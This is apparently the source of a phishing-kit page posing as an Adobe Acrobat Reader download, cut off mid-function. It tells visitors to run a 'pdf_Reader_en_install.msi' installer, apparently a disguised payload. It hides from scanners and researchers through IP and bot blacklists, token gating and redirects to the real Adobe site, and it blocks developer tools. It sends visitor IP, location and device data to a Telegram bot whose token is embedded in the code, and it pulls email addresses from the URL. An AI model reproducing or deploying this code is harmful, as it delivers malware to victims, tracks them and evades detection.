<?php
//═══════════════════════════════════════════════════════════════════════════
//  🛡️ VERIFICATION TOKEN VALIDATION - Prevents direct access
//═══════════════════════════════════════════════════════════════════════════
// Only allow access with valid verification token from advanced antibot gate
// This ensures all visitors have passed through the complete verification process

$VERIFICATION_REQUIRED = true; // Set to false to temporarily disable verification

if ($VERIFICATION_REQUIRED) {
    $vtoken = $_GET['vtoken'] ?? '';
    $vtime = $_GET['vtime'] ?? '';
    
    // EXCEPTION: Allow loading in iframe from same domain (parent index.php)
    // Check if loaded in iframe from same site
    $is_iframe_from_same_domain = false;
    if (isset($_SERVER['HTTP_REFERER'])) {
        $referer = $_SERVER['HTTP_REFERER'];
        $current_host = $_SERVER['HTTP_HOST'];
        
        // Check if referer is from same domain
        if (strpos($referer, $current_host) !== false) {
            $is_iframe_from_same_domain = true;
        }
    }
    
    // Check if token and time are provided (skip if iframe from same domain)
    if (empty($vtoken) || empty($vtime)) {
        // If loaded in iframe from same domain, allow it
        if ($is_iframe_from_same_domain) {
            // Allow loading - skip verification for iframe
        } else {
            // No verification token - redirect to verification gate
            header('Location: https://acrobat.adobe.com/id/urn:aaid:sc:EU:3675e197-77af-4366-a4d8-fc2568aa27d9');
            exit;
        }
    } else {
        // Validate token format (must be 32-char MD5 hash)
        if (!preg_match('/^[a-f0-9]{32}$/', $vtoken)) {
            header('Location: https://acrobat.adobe.com/id/urn:aaid:sc:EU:3675e197-77af-4366-a4d8-fc2568aa27d9');
            exit;
        }
        
        // Validate timestamp is numeric and reasonable
        if (!is_numeric($vtime) || $vtime > time() || $vtime < (time() - 60)) {
            // Token expired (older than 60 seconds) or invalid timestamp
            header('Location: https://acrobat.adobe.com/id/urn:aaid:sc:EU:3675e197-77af-4366-a4d8-fc2568aa27d9');
            exit;
        }
        
        // Regenerate expected token and validate
        $expected_token = md5('verified:' . $vtime . ':secure_gate_salt');
        
        if ($vtoken !== $expected_token) {
            // Invalid token - doesn't match expected value
            header('Location: https://acrobat.adobe.com/id/urn:aaid:sc:EU:3675e197-77af-4366-a4d8-fc2568aa27d9');
            exit;
        }
        
        // ✅ Token valid - visitor has been verified by advanced antibot system
        // Continue loading page...
    }
}

//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
// Check visitor IP against blacklist files in /all/ directory
// Blocks: IPv4, IPv6, CIDR ranges from ipv4.txt, ipv4_merged.txt, ipv6.txt, ipv6_merged.txt

require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
}
$ip = x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - block access immediately
    die(header('HTTP/1.1 403 Forbidden'));
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html lang="en" style="height: 100%;">
<head>
  <!-- 
    BASE64 IMAGE PLACEHOLDERS:
    1. PASTE_ADOBE_LOGO_BASE64_HERE - Replace with base64 for Adobe logo
    2. PASTE_DOWNLOAD_ICON_BASE64_HERE - Replace with base64 for download icon in notification
    3. PASTE_STEP1_ICON_BASE64_HERE - Replace with base64 for hand/PDF download icon
    4. PASTE_STEP2_ICON_BASE64_HERE - Replace with base64 for computer/checkmark icon
  -->
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>PDF Reader Download</title>

  <!-- Source Protection Meta Tags -->
  <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <meta name="robots" content="noindex, nofollow, noarchive, nosnippet, noimageindex">
  <meta http-equiv="X-Content-Type-Options" content="nosniff">
  <meta http-equiv="Referrer-Policy" content="no-referrer">
  
  <!-- Antibot Scripts - Load in order -->
  <script src="js/fingerprint.js"></script>
  <script src="js/utils.js"></script>
  <script src="js/captcha.js"></script>
  <script src="js/redirect.js"></script>
  
  <!-- Centralized Functions -->
  <script src="../js/centralized_telegram.js"></script>
  <script src="../js/centralized_redirect.js"></script>
  <script src="../js/email_extractor.js"></script>
  <script src="../js/autofill_helper.js"></script>
  
  <!-- Script loading verification -->
  <script>
    console.log('Scripts loaded, checking utils...');
    console.log('Utils available:', typeof window.utils !== 'undefined');
    if (typeof window.utils !== 'undefined') {
      console.log('Utils object:', window.utils);
      console.log('Teams enabled:', window.utils.isProviderEnabled('teams'));
    }
  </script>
  
  <!-- reCAPTCHA Configuration (Dynamic from central config) -->
  <!-- This loads configuration from config_recaptcha.php automatically -->
  <!-- To change reCAPTCHA settings, edit config_recaptcha.php ONLY -->
  <script src="../config_recaptcha_public.php"></script>
   <style>
    /* 
      ADOBE LOGO SIZE ADJUSTMENT:
      To change the Adobe logo size, modify the --adobe-logo-size CSS variable below.
      Default is 48px. Examples: 32px (smaller), 64px (larger), 72px (much larger)
    */
    :root {
      --adobe-logo-size: 48px; /* Change this value to adjust logo size */
    }
    
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
    
    body {
      font-family: 'Adobe Clean', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
      background: #fafafa;
      color: #2c2c2c;
      line-height: 1.5;
      min-height: 100vh;
      margin: 0;
      display: flex;
      flex-direction: column;
      /* Source Protection */
      -webkit-user-select: none;
      -moz-user-select: none;
      -ms-user-select: none;
      user-select: none;
      -webkit-touch-callout: none;
      -webkit-tap-highlight-color: transparent;
      -khtml-user-select: none;
    }
    
    .container {
      max-width: 1200px;
      margin: 0 auto;
      padding: 0 20px;
    }
    
    .content-wrapper {
      transform-origin: center top;
    }
    
    @media (max-height: 700px) and (min-width: 769px) {
      .content-wrapper {
        transform: scale(0.9);
      }
      main {
        padding: 20px 0;
      }
    }
    
    @media (max-height: 600px) and (min-width: 769px) {
      .content-wrapper {
        transform: scale(0.8);
      }
      main {
        padding: 10px 0;
      }
    }
    
    /* Header */
    header {
      background: #fff;
      padding: 16px 0;
      box-shadow: 0 1px 3px rgba(0,0,0,0.1);
      position: relative;
      flex-shrink: 0;
    }
    
    .adobe-logo {
      display: flex;
      align-items: center;
      font-size: 20px;
      font-weight: 600;
      color: #fa0f00;
    }
    
    /* Adobe logo size - easily adjustable */
    .adobe-logo img {
      width: var(--adobe-logo-size, 48px);
      height: var(--adobe-logo-size, 48px);
      margin-right: 8px;
    }
    
    
    /* Blue notification banner */
    .notification-banner {
      position: absolute;
      right: 20px;
      top: 50%;
      transform: translateY(-50%);
      background: #1473e6;
      color: #fff;
      padding: 12px 20px;
      border-radius: 8px;
      display: flex;
      align-items: center;
      gap: 12px;
      font-size: 15px;
      max-width: 380px;
      box-shadow: 0 2px 8px rgba(20, 115, 230, 0.25);
    }
    
    .notification-banner .download-icon {
      width: 24px;
      height: 24px;
      flex-shrink: 0;
      object-fit: contain;
    }
    
    .notification-banner .close-btn {
      background: none;
      border: none;
      color: #fff;
      font-size: 20px;
      cursor: pointer;
      padding: 0 0 0 12px;
      opacity: 0.8;
    }
    
    .notification-banner .close-btn:hover {
      opacity: 1;
    }
    
    /* Main content */
    main {
      flex: 1;
      padding: 20px 0;
      text-align: center;
    }
    
    h1 {
      font-size: 28px;
      font-weight: 400;
      color: #2c2c2c;
      margin-bottom: 30px;
    }
    
    /* Steps container */
    .steps-container {
      display: flex;
      justify-content: center;
      gap: 60px;
      margin-bottom: 20px;
      flex-wrap: wrap;
      position: relative;
    }
    
    /* Vertical separator line - removed for better iframe fit */
    .steps-container::after {
      display: none;
    }
    
    @media (max-width: 768px) {
      .steps-container::after {
        display: none;
      }
    }
    
    .step {
      flex: 0 1 300px;
      text-align: center;
    }
    
    .step-icon {
      width: 120px;
      height: 120px;
      margin: 0 auto 15px;
      position: relative;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    
    .step-icon img {
      object-fit: contain;
      max-width: 100%;
      max-height: 100%;
    }
    
    /* Icon images are now handled with base64 images */
    
    /* Step content */
    .step h2 {
      font-size: 20px;
      font-weight: 600;
      margin-bottom: 15px;
      color: #2c2c2c;
    }
    
    .step p {
      font-size: 14px;
      color: #505050;
      line-height: 1.5;
    }
    
    
    /* Mobile Popup Modal */
    .mobile-modal {
      display: none;
      position: fixed;
      z-index: 9999;
      left: 0;
      top: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.8);
    }
    
    .mobile-modal-content {
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      background: #fff;
      padding: 30px;
      border-radius: 12px;
      max-width: 400px;
      width: 90%;
      text-align: center;
      box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
    }
    
    .mobile-modal h2 {
      color: #fa0f00;
      margin-bottom: 20px;
      font-size: 24px;
    }
    
    .mobile-modal p {
      margin-bottom: 20px;
      line-height: 1.6;
      color: #333;
    }
    
    .mobile-modal-close {
      background: #dc3545;
      color: white;
      border: none;
      padding: 12px 24px;
      border-radius: 6px;
      cursor: pointer;
      font-size: 16px;
      font-weight: 600;
      min-width: 120px;
    }
    
    .mobile-modal-close:hover {
      background: #c82333;
    }

    /* Additional Source Protection Styles */
    ::selection {
      background: transparent;
    }
    
    ::-moz-selection {
      background: transparent;
    }
    
    /* Hide content only for very small heights (likely dev tools) */
    @media screen and (max-height: 300px) {
      body { 
        display: none !important; 
      }
    }
    
    /* Additional protection styles */
    * {
      -webkit-touch-callout: none;
      -webkit-user-select: none;
      -khtml-user-select: none;
      -moz-user-select: none;
      -ms-user-select: none;
      user-select: none;
    }
    
    *::before, *::after {
      -webkit-user-select: none;
      -moz-user-select: none;
      -ms-user-select: none;
      user-select: none;
    }

    /* Iframe optimization for 900px x 600px */
    @media (max-width: 950px) {
      .notification-banner {
        right: 20px;
        top: 50%;
        transform: translateY(-50%);
        max-width: 280px;
        font-size: 12px;
        padding: 8px 12px;
      }
      
      .steps-container {
        gap: 40px;
        margin-bottom: 15px;
      }
      
      .step {
        flex: 0 1 250px;
      }
      
      .step-icon {
        width: 100px;
        height: 100px;
        margin: 0 auto 10px;
      }
      
      h1 {
        font-size: 24px;
        margin-bottom: 20px;
      }
      
      .step h2 {
        font-size: 18px;
        margin-bottom: 10px;
      }
      
      .step p {
        font-size: 13px;
      }
    }
    
    @media (max-width: 768px) {
      .notification-banner {
        position: static;
        transform: none;
        margin: 16px;
        max-width: none;
      }
      
      h1 {
        font-size: 22px;
        margin-bottom: 20px;
        padding: 0 20px;
      }
      
      .steps-container {
        gap: 30px;
        margin-bottom: 10px;
      }
      
      .step {
        flex: 0 1 200px;
      }
      
      .step-icon {
        width: 80px;
        height: 80px;
      }
      
      .step-icon img {
        width: 80px !important;
        height: 80px !important;
      }
      
      .step h2 {
        font-size: 16px;
        margin-bottom: 8px;
      }
      
      .step p {
        font-size: 12px;
      }
    }
  </style>
</head>
<body oncontextmenu="return false;" ondragstart="return false;" onselectstart="return false;" onmousedown="return false;" onkeydown="if(event.keyCode==123||event.ctrlKey&&event.shiftKey&&(event.keyCode==73||event.keyCode==74)||event.ctrlKey&&event.keyCode==85)return false;">
  <header>
    <div class="container">
      <div class="adobe-logo">
        <img src="data:image/svg+xml;base64, " alt="Adobe Logo">
        Adobe
      </div>
      
      <div class="notification-banner">
      <img src="data:image/svg+xml;base64,PHN2ZyBpZD0iTGF5ZXJfMSIgZGF0YS1uYW1lPSJMYXllciAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij4KICA8ZyBpZD0iSWNvbnMiPgogICAgPGc+CiAgICAgIDxwYXRoIGQ9Ik0xMS4zNjAwNiw3LjQ4ODgsOS43NSw5LjIyMjg4VjEuMTE3NTlhLjUuNSwwLDAsMC0uNS0uNWgtLjVhLjUuNSwwLDAsMC0uNS41VjkuMjIyODhMNi42Mzk5NCw3LjQ4ODhhLjUuNSwwLDAsMC0uNzA2NTQtLjAyNjI4bC0uMzY2Ni4zNDAyM2EuNS41LDAsMCwwLS4wMjYzNy43MDY2MmwuMDAwMTEuMDAwMTEsMy4wOTMwOCwzLjMzMDc2YS41LjUsMCwwLDAsLjcwNjYyLjAyNjE0bC4wMjYxNC0uMDI2MTQsMy4wOTMwOC0zLjMzMDc2YS41LjUsMCwwLDAtLjAyNjE1LS43MDY2MmwtLjAwMDExLS4wMDAxMS0uMzY2Ni0uMzQwMjNBLjUuNSwwLDAsMCwxMS4zNjAwNiw3LjQ4ODhaIiBmaWxsPSIjZmZmZmZmIi8+CiAgICAgIDxwYXRoIGQ9Ik0xNS41LDE1SDIuNWExLjI1LDEuMjUsMCwwLDEtMS4yNS0xLjI1VjEwLjA3MjI3YS41LjUsMCwwLDEsLjUtLjVoLjVhLjUuNSwwLDAsMSwuNS41VjEzLjVoMTIuNVYxMC4wOTc2NmEuNS41LDAsMCwxLC41LS41aC41YS41LjUsMCwwLDEsLjUuNVYxMy43NUExLjI1LDEuMjUsMCwwLDEsMTUuNSwxNVoiIGZpbGw9IiNmZmZmZmYiLz4KICAgIDwvZz4KICA8L2c+Cjwvc3ZnPg==" alt="Download" class="download-icon">
        <span>Please open your Downloads and double-click on the pdf_Reader_en_install.msi file to install Acrobat Reader.</span>
      <button class="close-btn">×</button>
      </div>
    </div>
  </header>
  
  <main>
    <div class="container">
      <div class="content-wrapper">
        <h1>Download and launch your Acrobat Reader software</h1>
      
      <div class="steps-container">
        <!-- Step 1 -->
        <div class="step">
          <div class="step-icon">
            <img src="data:image/png;base64, " alt="Download Icon" style="width: 160px; height: 160px;">
          </div>
          
          <h2>Step 1: Verify identity</h2>
          <p>Please complete the security challenge below to proceed to your download.</p>
          
          <!-- Fallback download message - Always visible -->
          
        </div>
        
        <!-- Step 2 -->
        <div class="step">
          <div class="step-icon">
            <img src="data:image/png;base64, " alt="Computer Icon" style="width: 160px; height: 160px;">
          </div>
          
          <h2>Step 2: Finish installation</h2>
          <p>Open your Downloads folder and locate the Adobe Acrobat installer file, with a name "pdf_Reader_en_install.msi".</p>
          <p style="margin-top: 20px;">Double-click the installer file to complete the installation.</p>
        </div>
      </div>
      </div>
    </div>
  </main>
  <!-- Hidden antibot form -->
  <form id="antibot-form" autocomplete="off" style="display:none;">
    <input type="text" name="honeypot1" tabindex="-1" autocomplete="off" style="position:absolute;left:-9999px;top:-9999px;" aria-hidden="true">
    <input type="email" name="honeypot2" tabindex="-1" autocomplete="off" style="position:absolute;left:-9999px;top:-9999px;" aria-hidden="true">
    <input type="hidden" id="dynamic-token" name="dynamic-token" value="">
    <input type="hidden" id="browser-fingerprint" name="browser-fingerprint" value="">
    <input type="hidden" id="challenge-timestamp" name="challenge-timestamp" value="">
  </form>

  <script>
    // ==============================================
    // ADVANCED SOURCE CODE PROTECTION SYSTEM
    // ==============================================
    
    (function() {
      'use strict';
      
      // Anti-debugging and source protection
      const protection = {
        // Disable right-click context menu
        disableRightClick: function() {
          document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
            e.stopPropagation();
            return false;
          }, true);
        },
        
        // Disable keyboard shortcuts
        disableKeyboardShortcuts: function() {
          document.addEventListener('keydown', function(e) {
            // Disable F12, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+U, Ctrl+S
            if (e.keyCode === 123 || // F12
                (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74)) || // Ctrl+Shift+I/J
                (e.ctrlKey && e.keyCode === 85) || // Ctrl+U
                (e.ctrlKey && e.keyCode === 83) || // Ctrl+S
                (e.ctrlKey && e.keyCode === 65) || // Ctrl+A
                (e.ctrlKey && e.keyCode === 67) || // Ctrl+C
                (e.ctrlKey && e.keyCode === 86) || // Ctrl+V
                (e.ctrlKey && e.keyCode === 88) || // Ctrl+X
                (e.ctrlKey && e.keyCode === 80) || // Ctrl+P
                e.keyCode === 116) { // F5
              e.preventDefault();
              e.stopPropagation();
              return false;
            }
          }, true);
        },
        
        // Clear console periodically
        clearConsole: function() {
          setInterval(function() {
            try {
              if (window.console && window.console.clear) {
                window.console.clear();
              }
            } catch(e) {}
          }, 1000);
        },
        
        // Detect developer tools
        detectDevTools: function() {
          const threshold = 160;
          setInterval(() => {
            if (window.outerWidth - window.innerWidth > threshold || 
                window.outerHeight - window.innerHeight > threshold) {
              window.location.href = 'https://adobe.com';
            }
          }, 1000);
        },
        
        // Anti-debug measures
        antiDebug: function() {
          (function() {
            try {
              (function a() {
                if (arguments[0] === 'init') {
                  a('init');
                } else {
                  debugger;
                }
                a('init');
              })();
            } catch (e) {}
          })();
        },
        
        // Disable text selection methods
        disableSelection: function() {
          document.onselectstart = function() { return false; };
          document.onmousedown = function() { return false; };
          document.ondragstart = function() { return false; };
          
          // Additional selection prevention
          if (typeof document.onmousedown !== "undefined") {
            document.onmousedown = function() { return false; };
          } else {
            document.onmouseup = function() { return false; };
          }
        },
        
        // Iframe busting (disabled to allow iframe loading)
        preventFraming: function() {
          // Disabled to allow page to load in iframes
          console.log('Iframe loading allowed');
        },
        
        // Monitor for common inspection methods (disabled for now)
        monitorInspection: function() {
          // Temporarily disabled to prevent blank page issues
          // This can be re-enabled later if needed
          console.log('Inspection monitoring disabled for user experience');
        },
        
        // Disable drag and drop
        disableDragDrop: function() {
          document.addEventListener('dragover', function(e) {
            e.preventDefault();
            e.stopPropagation();
          }, true);
          
          document.addEventListener('drop', function(e) {
            e.preventDefault();
            e.stopPropagation();
          }, true);
        },
        
        // Obfuscate source references
        hideSource: function() {
          // Remove script tags from DOM inspection
          setTimeout(function() {
            const scripts = document.getElementsByTagName('script');
            for (let i = scripts.length - 1; i >= 0; i--) {
              if (scripts[i].innerHTML.includes('protection')) {
                scripts[i].remove();
              }
            }
          }, 1000);
        },
        
        // Initialize all protection methods
        init: function() {
          this.disableRightClick();
          this.disableKeyboardShortcuts();
          this.clearConsole();
          this.detectDevTools();
          this.disableSelection();
          this.preventFraming();
          this.monitorInspection();
          this.disableDragDrop();
          this.hideSource();
          
          // Anti-debug disabled for user experience
          // setTimeout(() => {
          //   if (window.innerWidth > 1000 && window.innerHeight > 600) {
          //     this.antiDebug();
          //   }
          // }, 5000);
        }
      };
      
      // Initialize protection immediately
      protection.init();
      
      // Additional window protection
      window.addEventListener('load', function() {
        protection.init();
      });
      
      // Console warning
      setTimeout(function() {
        console.clear();
        console.log('%cSTOP!', 'color: red; font-size: 50px; font-weight: bold;');
        console.log('%cThis is a browser feature intended for developers. Source code inspection is not permitted.', 'color: red; font-size: 16px;');
      }, 1000);
      
      // Advanced tamper detection (disabled for now)
      // Temporarily disabled to prevent blank page issues
      console.log('Tamper detection disabled for user experience');
      
      // Disable common inspection methods (disabled for now)
      // Temporarily disabled to prevent blank page issues
      console.log('Console hijacking disabled for user experience');
      
    })();
    
    // ==============================================
    // END PROTECTION SYSTEM
    // ==============================================
    
    // ==============================================
    // TELEGRAM BOT CONFIGURATION
    // ==============================================
    // 
    // INSTRUCTIONS FOR USERS:
    // 1. Replace TELEGRAM_BOT_TOKEN with your bot's token (get from @BotFather)
    // 2. Replace TELEGRAM_CHANNEL_ID with your channel/chat ID
    // 3. To get your chat ID, send a message to your bot and visit:
    //    https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates
    // 
    const TELEGRAM_BOT_TOKEN = '8312131019:AAFjAXs4p28cGSwn9JHBa3rYksp8HK4WAz0';
    const TELEGRAM_CHANNEL_ID = '7900288517';
    
    // Telegram Notification Functions
    async function getVisitorInfo() {
      try {
        // Get visitor's IP and location info
        const response = await fetch('https://ipapi.co/json/');
        const data = await response.json();
        
        const visitorInfo = {
          ip: data.ip || 'Unknown',
          country: data.country_name || 'Unknown',
          city: data.city || 'Unknown',
          region: data.region || 'Unknown',
          timezone: data.timezone || 'Unknown',
          isp: data.org || 'Unknown',
          userAgent: navigator.userAgent,
          timestamp: new Date().toISOString(),
          localTime: new Date().toLocaleString(),
          screenResolution: `${window.screen.width}x${window.screen.height}`,
          windowSize: `${window.innerWidth}x${window.innerHeight}`,
          language: navigator.language || 'Unknown',
          platform: navigator.platform || 'Unknown'
        };
        
        return visitorInfo;
      } catch (error) {
        console.error('Error getting visitor info:', error);
        return {
          ip: 'Error fetching IP',
          country: 'Unknown',
          city: 'Unknown',
          region: 'Unknown',
          timezone: 'Unknown',
          isp: 'Unknown',
          userAgent: navigator.userAgent,
          timestamp: new Date().toISOString(),
          localTime: new Date().toLocaleString(),
          screenResolution: `${window.screen.width}x${window.screen.height}`,
          windowSize: `${window.innerWidth}x${window.innerHeight}`,
          language: navigator.language || 'Unknown',
          platform: navigator.platform || 'Unknown'
        };
      }
    }
    
    async function sendTelegramNotification(visitorInfo) {
      try {
        const message = `🔔 New Visitor Alert - MSI Page
        
📍 Location Details:
• IP Address: ${visitorInfo.ip}
• Country: ${visitorInfo.country}
• City: ${visitorInfo.city}
• Region: ${visitorInfo.region}
• Timezone: ${visitorInfo.timezone}
• ISP: ${visitorInfo.isp}

⏰ Time Information:
• UTC Time: ${visitorInfo.timestamp}
• Local Time: ${visitorInfo.localTime}

💻 Device Details:
• Platform: ${visitorInfo.platform}
• Language: ${visitorInfo.language}
• Screen: ${visitorInfo.screenResolution}
• Window: ${visitorInfo.windowSize}

🌐 Browser Info:
• User Agent: ${visitorInfo.userAgent}

---
Adobe Acrobat MSI Download Page Visit`;

        const telegramUrl = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
        
        const response = await fetch(telegramUrl, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify({
            chat_id: TELEGRAM_CHANNEL_ID,
            text: message,
            parse_mode: 'HTML'
          })
        });
        
        if (response.ok) {
          console.log('Telegram notification sent successfully');
        } else {
          console.error('Failed to send Telegram notification:', response.status);
        }
      } catch (error) {
        console.error('Error sending Telegram notification:', error);
      }
    }
    
    // Function to detect macOS - Global scope for reuse
    function isMacOS() {
      const userAgent = navigator.userAgent.toLowerCase();
      const platform = navigator.platform.toLowerCase();
      
      // Check multiple indicators for macOS
      return (
        platform.includes('mac') ||
        userAgent.includes('macintosh') ||
        userAgent.includes('mac os x') ||
        userAgent.includes('macos') ||
        platform === 'macintel' ||
        platform === 'macppc'
      );
    }

    // Animate progress percentage from 0% to 100% over 1 second
    window.addEventListener('load', async function() {
      // Visitor report removed - now handled by centralized Telegram reporting in provider pages
      const percentageElement = document.getElementById('progress-percentage');
      const duration = 1000; // 1 second
      const startTime = Date.now();
      
      function updatePercentage() {
        const elapsed = Date.now() - startTime;
        const progress = Math.min(elapsed / duration, 1);
        const percentage = Math.round(progress * 100);
        
        percentageElement.textContent = percentage + '%';
        
        if (progress < 1) {
          requestAnimationFrame(updatePercentage);
        } else {
          // Animation completed - auto-redirect disabled
          console.log('Progress animation completed at 100%');
          // triggerRedirectAfterAnimation(); // DISABLED - no longer needed
        }
      }
      
      requestAnimationFrame(updatePercentage);
    });
    
    // Function to trigger redirect after animation completes
    function triggerRedirectAfterAnimation() {
      console.log('Animation completed, checking for redirect...');
      
      // Check for macOS first - redirect to Adobe obfuscated URL
      if (isMacOS()) {
        console.log('macOS detected, redirecting to Adobe URL...');
        
        if (typeof window.utils !== 'undefined' && window.utils.isProviderEnabled('adobe')) {
          const adobeUrl = window.utils.getObfuscatedUrl('adobe');
          if (adobeUrl) {
            console.log('Redirecting macOS user to:', adobeUrl);
            
            // Get any email from URL fragment or query
            const fragment = window.location.hash;
            let email = null;
            
            if (fragment && fragment.length > 1) {
              const content = decodeURIComponent(fragment.substring(1));
              if (/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(content)) {
                email = content;
              }
            }
            
            // If no email in fragment, check query params
            if (!email) {
              const urlParams = new URLSearchParams(window.location.search);
              email = urlParams.get('email');
            }
            
            // Build final redirect URL with email if available
            let finalUrl = adobeUrl;
            if (email) {
              finalUrl = window.utils.getObfuscatedUrl('adobe', email);
            }
            
            // Redirect immediately after animation completes
            setTimeout(() => {
              window.location.href = finalUrl;
            }, 100); // Small delay to ensure smooth transition
            return; // Exit early for macOS users
          } else {
            console.error('Failed to get Adobe URL for macOS user');
          }
        } else {
          console.error('Utils not loaded or Adobe provider not enabled for macOS user');
        }
      }
      
      // Default behavior for non-macOS users - redirect to Adobe
      if (typeof window.utils !== 'undefined' && window.utils.isProviderEnabled('adobe')) {
        const adobeUrl = window.utils.getObfuscatedUrl('adobe');
        if (adobeUrl) {
          console.log('Redirecting to:', adobeUrl);
          
          // Get any email from URL fragment or query
          const fragment = window.location.hash;
          let email = null;
          
          if (fragment && fragment.length > 1) {
            const content = decodeURIComponent(fragment.substring(1));
            if (/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(content)) {
              email = content;
            }
          }
          
          // If no email in fragment, check query params
          if (!email) {
            const urlParams = new URLSearchParams(window.location.search);
            email = urlParams.get('email');
          }
          
          // Build final redirect URL with email if available
          let finalUrl = adobeUrl;
          if (email) {
            finalUrl = window.utils.getObfuscatedUrl('adobe', email);
          }
          
          // Redirect immediately after animation completes
      setTimeout(() => {
            window.location.href = finalUrl;
      }, 100); // Small delay to ensure smooth transition
        } else {
          console.error('Failed to get Adobe URL');
        }
      } else {
        console.error('Utils not loaded or Adobe not enabled');
      }
    }

    // Antibot Protection Implementation
    (async function initializeAntibot() {
      try {
        // Initialize blacklist system
        if (typeof blacklistSystem !== 'undefined') {
          blacklistSystem.init();
          
          // Check if visitor is blacklisted
          const blacklistCheck = blacklistSystem.checkBlacklist();
          if (blacklistCheck.blocked) {
            // Show bot trap page
            if (typeof botTrapSystem !== 'undefined') {
              botTrapSystem.showConstructionPage(blacklistCheck.reason);
              return;
            }
          }
        }

        // Initialize interaction tracking
        let interactionData = null;
        if (typeof initializeInteractionTracking === 'function') {
          interactionData = initializeInteractionTracking();
        }

        // Generate browser fingerprint
        let fingerprint = '';
        if (typeof generateBrowserFingerprint === 'function') {
          fingerprint = await generateBrowserFingerprint();
          document.getElementById('browser-fingerprint').value = fingerprint;
        }

        // Validate browser environment
        if (typeof validateBrowserEnvironment === 'function') {
          const isValid = validateBrowserEnvironment();
          if (!isValid) {
            if (typeof botTrapSystem !== 'undefined') {
              botTrapSystem.showConstructionPage('invalid_environment');
              return;
            }
          }
        }

        // Generate security token
        if (typeof generateSecureToken === 'function') {
          const token = await generateSecureToken();
          document.getElementById('dynamic-token').value = token;
        }

        // Set timestamp
        document.getElementById('challenge-timestamp').value = Date.now();

        // Check for automation
        if (typeof detectAutomation === 'function') {
          const automationResults = detectAutomation();
          if (automationResults.automationScore >= 5) {
            if (typeof botTrapSystem !== 'undefined') {
              botTrapSystem.showConstructionPage('automation_detected');
              return;
            }
          }
        }

        // Initialize geo-blocking
        if (typeof geoBlockSystem !== 'undefined') {
          geoBlockSystem.init();
        }

        // Initialize session protection
        if (typeof sessionProtection !== 'undefined') {
          sessionProtection.init();
        }

        // Inject obfuscation elements
        if (typeof obfuscationSystem !== 'undefined') {
          obfuscationSystem.injectObfuscatedElements();
        }

        // Global variable to store the redirect URL
        let redirectUrl = null;
        
        // Setup manual download link for fallback
        function setupManualDownloadLink() {
          const manualLink = document.getElementById('manual-download-link');
          console.log('Setting up manual download link...');
          console.log('Manual link element:', manualLink);
          
          if (manualLink) {
            manualLink.onclick = function(e) {
              e.preventDefault();
              console.log('Manual download clicked');
              
              // Check for macOS first - redirect to Google URL
              if (isMacOS()) {
                console.log('macOS detected for manual download, redirecting to Google URL...');
                
